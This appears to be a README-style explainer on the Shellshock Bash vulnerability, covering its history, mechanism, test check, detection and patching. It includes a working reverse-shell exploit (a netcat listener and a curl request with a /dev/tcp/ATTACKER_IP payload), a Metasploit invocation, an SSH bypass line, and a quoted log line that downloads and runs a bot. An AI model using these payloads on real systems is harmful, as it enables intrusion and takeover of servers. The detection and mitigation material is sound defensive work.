____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

Table of Contents

• What is Shellshock?
• Timeline
• Affected Systems
• Technical Description
• PoC — Proof of Concept
• Attack Vectors
• Full Exploitation
• Indicators of Compromise
• Mitigation
• Disclaimer

❓ What is Shellshock?

Shellshock (also known as Bashdoor) is a family of critical vulnerabilities in the GNU Bash command interpreter that allows a remote attacker to execute arbitrary commands on the target system.

The fundamental flaw: Bash did not stop parsing an environment variable after finishing the definition of a function. Any code concatenated after () { :; }; was automatically executed.

Env Variable → Function Definition → [HERE EXECUTES EXTRA CODE] ← BUG

Since web servers (CGI/Apache), SSH services, and DHCP clients convert headers or parameters into Bash environment variables, the attack surface was massive.

📅 Timeline

12 Sep 2014 ──── Stéphane Chazelas discovers the bug and reports it to Chet Ramey (Bash maintainer)
                 The bug existed in Bash for over 20 years.

24 Sep 2014 ──── Public disclosure + publication of the patch (CVE-2014-6271)
                 Hours later: active botnets scanning the internet massively.

25-30 Sep 2014 ── Related vulnerabilities discovered:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── Millions of attacks recorded. Compared in severity to Heartbleed.

💻 Affected Systems

🔬 Technical Description

The bug mechanism

When Bash imports a function from an environment variable, it reads until the closing } of the function. In vulnerable versions, it continued processing the subsequent code instead of stopping.

# Malicious environment variable:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Vulnerable Bash when initializing:
# 1. Reads the function definition  → OK
# 2. Encounters }; → should stop
# 3. CONTINUES → executes /bin/cat /etc/passwd  ← BUG

Attack flow via CGI

Attacker                    Apache Server (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Converts headers to env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Executes cmd
   │                               │                                │ as www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Response + cmd output        │                                │

🧪 PoC — Proof of Concept

Basic vulnerability check

env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Output on VULNERABLE system:

VULNERABLE
this is a test

Output on PATCHED system:

this is a test

(or a syntax error — never prints "VULNERABLE")

⚔️ Attack Vectors

1. CGI-BIN (most common)

Web servers using .cgi scripts convert HTTP Headers into Bash environment variables.

Affected headers: User-Agent, Referer, Cookie, X-Forwarded-For, and any custom header

2. SSH with ForceCommand

# If the server has ForceCommand configured, an attacker with a valid key can bypass it
ssh user@target '() { :;}; /bin/bash'

3. DHCP Client

Malicious DHCP servers can inject environment variables into clients that use Bash to process the DHCP response.

4. Direct environment variables

# Any process that inherits environment variables and runs Bash
env VAR='() { :;}; malicious_command' bash -c "legitimate_script"

💀 Full Exploitation: Reverse Shell

Step 1: Listener on attacker machine

nc -lvnp 4444

Step 2: Reverse shell payload

# Payload injected into User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Step 3: Send the malicious request

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://vulnerable-site.com/cgi-bin/test.cgi

Step 4: Shell obtained

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Metasploit Module

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Indicators of Compromise (IOC)

In Apache/Nginx logs

# Look for the characteristic pattern in access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Example malicious log:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Suspicious processes

# Child processes of www-data/apache that should not exist
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

System indicators

- New executable files in /tmp, /var/tmp, /dev/shm
- Outbound connections from the web server to unknown IPs
- Modification of /etc/crontab or /etc/passwd
- Bash processes running as www-data without a terminal

🛡️ Mitigation

Immediate patch (CRITICAL PRIORITY)

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verify patched version (must show "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PATCHED (varies by distro)

Post-patch verification

# Must return only "this is a test" — NEVER "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Additional measures

# 1. Disable CGI if not needed
a2dismod cgi

# 2. WAF rule to block the pattern
# In ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"